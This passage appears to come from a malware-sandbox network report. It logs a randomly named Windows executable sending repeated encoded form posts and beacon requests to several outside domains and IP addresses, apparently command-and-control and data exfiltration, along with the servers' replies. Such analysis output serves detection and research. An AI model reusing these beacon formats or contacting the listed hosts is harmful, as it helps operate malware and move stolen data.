SLTxDJ=Cra0IN3qMqcFZqlGcFm9wf/dbEdwWdI6G+Km+I6lhfmppxyoRrEpWVMJoI15I3k+He7sqd7sgmMPyJ2MBqliunt9xiCYSr3BnoSI02RNLh/nrqEXVLhSJHhlIWpDmWFe7WkY+kcSTd15QexuVkKJR5pjp+y6ZSi0dW/k4fCCmxIzs1TRv0wFEbLKNmOmWKyZ5fIOTCiHihbfChbAxr1Z9sRzu/2YuFtIraWZXXtyH7RWHSNiZBRrNDa4QuR3uZsj+Alw8S9zthtu28RlU8RIUPMryug0BV3rIacDILBopxYQvgwEP1Q/lMyEw9EPH4VJdJKAYHsSYqoRuWV8A2gO+xDhFt9pAvJ+BknmeairQPXt+BrTWKqSVnPyYBXsRo/jFgAD7rq3Hj3US3H9uW1Nx0E2Yw4T/+S/rPWWY7P8DEVnSeHd6qrsPX371K9tl5Ssl9xJ/SDheoWNdio7oOETg54DHbhMJ9jpn10BE47IpJqWew+sTBllVjYq7MLzP2QhgyETmhQJyoBlByW8YSBiY4XDQQNH2EFwBFNN8EhmnZGumppsEB/119MH5C7tiyrBriTKIWiWKgThdzJ5RPCfeG8pxyqeeq6PZlgAUy8vfW9jk1WCBU8YtDNNtWAVeNX3FsDoHexLiI+Q9nK56s2lceg8g4EuHpjnpsghY9G8c+nlmRf9Bht
Oct 3, 2024 18:12:41.925637960 CEST	5156	OUT	Data Raw: 54 54 6f 43 56 58 6a 43 73 34 4a 39 72 4a 4e 47 69 58 66 48 2f 4b 49 5a 5a 7a 76 36 65 34 48 45 59 34 67 4f 55 75 51 72 55 36 4e 63 6d 72 2f 4f 70 6a 58 63 73 53 55 30 37 30 58 2b 39 43 4b 70 72 6a 46 36 31 32 4f 45 69 73 4f 41 44 64 33 63 73 5a Data Ascii: TToCVXjCs4J9rJNGiXfH/KIZZzv6e4HEY4gOUuQrU6Ncmr/OpjXcsSU070X+9CKprjF612OEisOADd3csZU5Y6jtVb8Zc8JtyiA2kYeOM+Atv2MSzhKEHxlfEs3/91BPER58qD0FiXbr20rjlD9DlVUzcDKDPwTSY/zODFYoMRtss6DkUc08ZLYJtqzramrxtwi3DhA+G1LV/pIvFUdp1PNBpK6wJ8uH0bmKgvSYIc3TP1vX/WC
Oct 3, 2024 18:12:41.925690889 CEST	1517	OUT	Data Raw: 69 43 4b 4b 53 62 57 69 4c 61 33 78 6a 64 64 54 6e 52 74 46 50 4a 73 6c 31 6f 37 51 30 46 32 34 2b 2f 44 5a 57 58 51 44 43 63 54 78 79 42 4f 6f 36 41 37 57 74 73 75 4d 34 37 62 64 33 6d 64 59 69 6b 2b 4c 43 30 7a 58 44 66 51 78 79 34 6d 6d 73 4e Data Ascii: iCKKSbWiLa3xjddTnRtFPJsl1o7Q0F24+/DZWXQDCcTxyBOo6A7WtsuM47bd3mdYik+LC0zXDfQxy4mmsNaaKZpTkt3z00jW/P2gD2vtzYoZLr9QuqhkaU5kyKKFmKU1yScx7/ZEXl7S2GkDBE8zUnSoxEe39dqw0AxuGDPXThTzXxCbX3wQpaLfTK2FLCvhyO0NCUfWyPregwt10faMm18qkmpw7NrW2MgX2+RJILnoFFllqNz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49745	85.159.66.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:44.671204090 CEST	521	OUT	GET /f57g/?SLTxDJ=PpyUL764Lok+Ppx0Qx+flf+oLnZjKtESHdypv4ujlvPdkHCPNJQcR2wKvaRzAHBpGeyN5Ompg3h0vZ2hJul1rBg78gGMUKvCjJ308wc1KBj/j4QDVYdFWXw=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.animazor.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:12:44.883528948 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Thu, 03 Oct 2024 16:12:44 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-10-03T16:12:49.7753927Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49746	3.33.130.190	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:50.171441078 CEST	793	OUT	POST /rhg0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.myplayamate.llc Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/rhg0/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 37 4a 64 50 64 44 54 72 70 30 6e 79 6a 37 50 4d 67 63 31 56 6f 56 42 36 51 64 59 6c 48 6c 41 4c 62 55 58 4f 4e 38 71 59 7a 50 71 63 78 44 7a 70 6b 6c 52 34 36 56 4c 46 37 46 36 68 52 55 66 39 31 69 35 41 35 56 45 6a 42 45 2b 4a 71 4c 61 57 77 4b 35 42 38 35 61 43 69 66 65 5a 32 63 33 30 32 31 6c 76 2b 30 50 50 53 6c 55 39 46 70 73 38 36 77 38 76 35 76 5a 71 79 6c 70 39 57 5a 49 37 37 38 62 76 33 46 4e 6b 59 78 31 45 4a 38 35 33 4f 5a 44 48 38 43 67 61 49 57 6b 31 79 4d 34 32 36 6b 6b 2b 46 59 2b 33 57 71 4b 75 44 65 52 76 38 63 53 45 71 33 35 4e 58 4c 58 4c 50 72 57 35 69 67 3d 3d Data Ascii: SLTxDJ=7JdPdDTrp0nyj7PMgc1VoVB6QdYlHlALbUXON8qYzPqcxDzpklR46VLF7F6hRUf91i5A5VEjBE+JqLaWwK5B85aCifeZ2c3021lv+0PPSlU9Fps86w8v5vZqylp9WZI778bv3FNkYx1EJ853OZDH8CgaIWk1yM426kk+FY+3WqKuDeRv8cSEq35NXLXLPrW5ig==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49747	3.33.130.190	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:52.812817097 CEST	813	OUT	POST /rhg0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.myplayamate.llc Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/rhg0/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 37 4a 64 50 64 44 54 72 70 30 6e 79 68 62 54 4d 6d 2f 4e 56 76 31 42 35 64 4e 59 6c 4a 46 42 4d 62 55 62 4f 4e 39 76 64 7a 39 65 63 78 69 44 70 6c 6b 52 34 37 56 4c 46 38 31 36 75 4f 6b 66 6d 31 69 46 49 35 52 45 6a 42 45 36 4a 71 4f 32 57 77 35 52 43 38 70 61 41 75 2f 65 62 34 38 33 30 32 31 6c 76 2b 30 4c 6c 53 6c 4d 39 46 61 45 38 72 6b 49 6f 78 50 5a 70 37 46 70 39 64 35 49 6e 37 38 62 4e 33 45 52 4f 59 79 42 45 4a 38 4a 33 4f 49 44 45 7a 43 67 63 48 32 6b 71 36 66 6c 73 79 47 77 2b 43 4b 6d 65 52 61 57 73 50 6f 41 31 68 75 6d 67 70 6b 6c 2f 54 37 75 6a 4e 70 58 69 2f 72 63 43 68 2b 74 69 46 64 66 55 75 57 53 71 6f 6c 62 62 61 37 30 3d Data Ascii: SLTxDJ=7JdPdDTrp0nyhbTMm/NVv1B5dNYlJFBMbUbON9vdz9ecxiDplkR47VLF816uOkfm1iFI5REjBE6JqO2Ww5RC8paAu/eb483021lv+0LlSlM9FaE8rkIoxPZp7Fp9d5In78bN3EROYyBEJ8J3OIDEzCgcH2kq6flsyGw+CKmeRaWsPoA1humgpkl/T7ujNpXi/rcCh+tiFdfUuWSqolbba70=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49748	3.33.130.190	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:55.451154947 CEST	2578	OUT	POST /rhg0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.myplayamate.llc Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/rhg0/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 37 4a 64 50 64 44 54 72 70 30 6e 79 68 62 54 4d 6d 2f 4e 56 76 31 42 35 64 4e 59 6c 4a 46 42 4d 62 55 62 4f 4e 39 76 64 7a 39 47 63 78 52 62 70 6b 48 35 34 34 56 4c 46 2f 31 36 2b 4f 6b 65 2b 31 6d 52 4d 35 52 41 56 42 47 79 4a 72 73 2b 57 68 6f 52 43 70 5a 61 41 67 76 65 59 32 63 33 6c 32 31 31 6a 2b 31 37 6c 53 6c 4d 39 46 66 41 38 37 41 38 6f 33 50 5a 71 79 6c 70 68 57 5a 49 44 37 36 79 77 33 45 46 30 62 42 5a 45 4a 63 5a 33 43 61 62 45 36 43 67 65 45 32 6c 2f 36 66 6f 79 79 41 56 50 43 4c 53 30 52 61 75 73 63 4f 38 6f 30 39 61 6a 37 47 74 48 65 59 47 68 43 59 37 49 34 4b 6f 73 78 75 4a 4a 47 49 76 44 77 67 65 4c 34 6b 33 65 50 2f 4b 52 71 53 59 49 46 74 68 44 43 6f 54 54 4d 57 6f 74 62 4f 65 70 47 63 4a 4a 62 63 2b 73 73 62 78 57 4c 72 72 6a 59 52 4b 65 7a 30 2f 69 49 56 36 7a 35 55 31 30 6b 41 39 6f 47 58 71 6e 49 4b 4e 46 69 5a 2f 70 53 41 32 69 53 39 2b 4d 70 66 55 30 6d 55 62 4a 30 59 6b 46 51 64 38 56 4d 58 63 58 4b 4a 31 35 37 39 7a 56 7a 4d 4a 68 63 51 79 71 48 52 49 [TRUNCATED] Data Ascii: SLTxDJ=7JdPdDTrp0nyhbTMm/NVv1B5dNYlJFBMbUbON9vdz9GcxRbpkH544VLF/16+Oke+1mRM5RAVBGyJrs+WhoRCpZaAgveY2c3l211j+17lSlM9FfA87A8o3PZqylphWZID76yw3EF0bBZEJcZ3CabE6CgeE2l/6foyyAVPCLS0RauscO8o09aj7GtHeYGhCY7I4KosxuJJGIvDwgeL4k3eP/KRqSYIFthDCoTTMWotbOepGcJJbc+ssbxWLrrjYRKez0/iIV6z5U10kA9oGXqnIKNFiZ/pSA2iS9+MpfU0mUbJ0YkFQd8VMXcXKJ1579zVzMJhcQyqHRIO860t1FJhH5PwLdMT6P3OWNOSsPVpRcatDIHisUg60aQ2WNwMitJEfbv33JteoyopBAVxt9//BXm+neETZWKs5HRDcT7zSNRBHbOiGdqfsO3/zRf1MS14z1fm5dOPsOZztW5KIY59Q8t2cWO8dvOZk7GSpt+LsMzPE1txiam9iqZ1nCgtUubVGC6VObGRi5Z/9j8TElL3c/IZ0jv6xJaSOd3/FUeNDTO0uznbd+5P+vlzXYYQHXOB/wCx0P5PCvOS0415v+OFzPapndUXKhE72AESnfyzR/VhDQVpl1w1p8nfIPmocTn0m6LCiU+VWUxbrTuRVtsWRa6uDIZqHSWGWzVimvq16P7w66Fzx8AxS0U0joqL/dwkIFOe/a5jmo5ED5HrK7WDhJZc4mNqmlf2DjAvvGwYs6zZ0TwMJgkz6OTXeIK2YtIeep3If/1hrVdvmF8+Qkl+BsILNHfLWWR3pLMfODUmE8eW7RGWULAAn+Dnap2cELA7sU/lKJ8t4jZctaANheaf0E6v+anXMeQzZgdM4eBqu8YA+z7nojwBWHiTiVQF9pCtddxrEgyw7FBkABcl/ogdArKMODDt2SKMinB4otpRNBlRtBTSDVLavfRfDRrRw0vsXZB0dCrIT3+vlw0/Pb4lcXd50mkwksYB5+57rpR7tLIM1 [TRUNCATED]
Oct 3, 2024 18:12:55.451229095 CEST	5384	OUT	Data Raw: 49 56 78 53 33 42 5a 5a 4d 39 66 39 6e 2b 38 64 56 68 62 55 7a 4a 77 67 65 32 36 73 66 56 51 67 79 62 58 4a 31 6a 65 2b 79 63 42 6e 67 4a 4a 4c 76 30 4f 54 75 54 4c 50 53 46 4f 76 4c 75 74 72 65 4c 79 77 51 56 56 51 51 6c 6f 58 50 5a 4f 64 6d 45 Data Ascii: IVxS3BZZM9f9n+8dVhbUzJwge26sfVQgybXJ1je+ycBngJJLv0OTuTLPSFOvLutreLywQVVQQloXPZOdmEJCAaRWbwP59g/NATHCdMnJFkzBVSMSddEdzxENenjzsaAwWBKYmfsfROf2C785hPxVi1igBwQHkeGd6s6I+AoQ/HbTnyJTcOVmuDEl9mz21bz9fuG5I1t3qnA+217Yy6WSi+n+gA4OD9K+nu4Nf8ee1QpsijXhtZA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49749	3.33.130.190	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:58.088864088 CEST	521	OUT	GET /rhg0/?SLTxDJ=2L1ve2bmhFTS5KzkmMxIzSFacPcGfmR9IE3yYvHp2/L/wTys70xKqVLp323vXEq+zj0T9FJ1aW2OvbGQ4Lpp6uTFnvn++ufGxUl1x1y0DnQlMq5exFAJ/qg=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.myplayamate.llc Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:12:58.191107035 CEST	396	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 03 Oct 2024 16:12:58 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 53 4c 54 78 44 4a 3d 32 4c 31 76 65 32 62 6d 68 46 54 53 35 4b 7a 6b 6d 4d 78 49 7a 53 46 61 63 50 63 47 66 6d 52 39 49 45 33 79 59 76 48 70 32 2f 4c 2f 77 54 79 73 37 30 78 4b 71 56 4c 70 33 32 33 76 58 45 71 2b 7a 6a 30 54 39 46 4a 31 61 57 32 4f 76 62 47 51 34 4c 70 70 36 75 54 46 6e 76 6e 2b 2b 75 66 47 78 55 6c 31 78 31 79 30 44 6e 51 6c 4d 71 35 65 78 46 41 4a 2f 71 67 3d 26 73 64 71 70 3d 44 64 42 74 6a 70 75 30 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?SLTxDJ=2L1ve2bmhFTS5KzkmMxIzSFacPcGfmR9IE3yYvHp2/L/wTys70xKqVLp323vXEq+zj0T9FJ1aW2OvbGQ4Lpp6uTFnvn++ufGxUl1x1y0DnQlMq5exFAJ/qg=&sdqp=DdBtjpu0"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49750	104.223.44.195	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:03.467953920 CEST	796	OUT	POST /195u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.kerennih31.click Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/195u/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 58 50 77 6a 77 42 70 68 4d 6d 77 38 64 43 70 53 78 4b 71 6c 34 38 42 53 6a 61 35 6c 52 58 76 38 4e 66 76 63 4a 72 70 4c 75 4e 59 35 47 67 4b 79 72 54 78 35 47 35 56 55 57 4f 78 7a 56 4f 6e 77 30 65 45 72 78 4e 42 45 4a 33 51 6e 4d 50 51 73 37 2b 31 69 4f 46 56 7a 53 4c 34 68 56 59 6b 38 70 36 6a 6e 58 50 6f 64 33 53 7a 73 31 31 4a 44 4e 75 39 69 37 55 67 42 4a 57 6a 30 48 38 31 58 54 32 38 6f 4c 46 61 51 44 4d 35 5a 7a 32 30 44 4f 42 32 44 38 4d 34 31 71 51 6c 32 67 64 73 67 61 41 33 62 78 45 4e 4b 61 57 65 48 77 39 6b 4e 73 53 6d 50 37 30 6c 66 71 71 56 53 32 49 72 32 38 41 3d 3d Data Ascii: SLTxDJ=XPwjwBphMmw8dCpSxKql48BSja5lRXv8NfvcJrpLuNY5GgKyrTx5G5VUWOxzVOnw0eErxNBEJ3QnMPQs7+1iOFVzSL4hVYk8p6jnXPod3Szs11JDNu9i7UgBJWj0H81XT28oLFaQDM5Zz20DOB2D8M41qQl2gdsgaA3bxENKaWeHw9kNsSmP70lfqqVS2Ir28A==
Oct 3, 2024 18:13:03.598320007 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 03 Oct 2024 16:13:03 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49751	104.223.44.195	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:06.139230013 CEST	816	OUT	POST /195u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.kerennih31.click Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/195u/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 58 50 77 6a 77 42 70 68 4d 6d 77 38 66 68 68 53 39 4a 79 6c 74 73 42 52 6f 36 35 6c 66 33 76 77 4e 66 6a 63 4a 76 59 41 75 34 6f 35 47 41 36 79 71 57 64 35 48 35 56 55 63 75 78 32 4e 75 6e 42 30 65 34 46 78 49 70 45 4a 33 45 6e 4d 4b 73 73 37 4a 70 74 50 56 56 4c 4c 62 34 6a 4b 49 6b 38 70 36 6a 6e 58 50 38 7a 33 53 72 73 31 46 5a 44 66 63 56 68 32 30 67 43 4f 57 6a 30 52 38 30 63 54 32 39 48 4c 42 37 4c 44 50 52 5a 7a 79 77 44 4f 77 32 43 32 4d 34 2f 6e 77 6b 61 77 75 64 5a 57 53 4c 49 77 46 52 79 55 6a 53 48 34 4c 31 58 78 67 53 72 34 6e 35 74 75 61 73 36 30 4b 71 74 68 41 30 2b 35 37 35 31 48 44 71 6b 79 4a 4b 78 79 53 79 6e 65 51 51 3d Data Ascii: SLTxDJ=XPwjwBphMmw8fhhS9JyltsBRo65lf3vwNfjcJvYAu4o5GA6yqWd5H5VUcux2NunB0e4FxIpEJ3EnMKss7JptPVVLLb4jKIk8p6jnXP8z3Srs1FZDfcVh20gCOWj0R80cT29HLB7LDPRZzywDOw2C2M4/nwkawudZWSLIwFRyUjSH4L1XxgSr4n5tuas60KqthA0+5751HDqkyJKxySyneQQ=
Oct 3, 2024 18:13:06.271845102 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 03 Oct 2024 16:13:06 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49752	104.223.44.195	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:08.814003944 CEST	2578	OUT	POST /195u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.kerennih31.click Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/195u/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 58 50 77 6a 77 42 70 68 4d 6d 77 38 66 68 68 53 39 4a 79 6c 74 73 42 52 6f 36 35 6c 66 33 76 77 4e 66 6a 63 4a 76 59 41 75 34 67 35 47 78 61 79 72 78 70 35 41 35 56 55 51 4f 78 33 4e 75 6e 63 30 65 67 42 78 49 73 7a 4a 31 38 6e 50 76 67 73 7a 64 64 74 57 6c 56 4c 44 37 34 67 56 59 6b 70 70 35 62 6a 58 50 73 7a 33 53 72 73 31 44 39 44 49 65 39 68 30 30 67 42 4a 57 6a 34 48 38 30 30 54 32 31 39 4c 41 36 2b 44 2b 78 5a 79 57 55 44 65 53 4f 43 72 38 34 78 6b 77 6b 43 77 75 52 34 57 53 58 75 77 46 56 59 55 6b 32 48 39 38 59 56 72 52 69 49 73 57 6c 46 6d 71 59 67 6a 70 75 49 75 77 70 43 79 61 41 64 50 30 53 6f 32 61 79 52 32 58 79 78 4c 41 51 34 42 45 72 33 53 6d 37 75 78 67 75 47 6d 54 5a 2f 31 6c 67 71 49 55 7a 48 61 6b 42 54 7a 64 73 48 49 47 43 71 41 46 74 57 2f 51 56 79 4b 45 4d 31 30 54 51 39 79 59 46 5a 48 72 4d 41 64 32 71 42 4c 61 69 72 53 69 64 31 6a 33 55 6c 43 46 33 57 57 72 72 71 4b 49 38 6e 5a 56 71 4e 49 44 41 76 57 52 77 79 73 4f 54 57 38 4e 34 7a 62 4b 39 6a 54 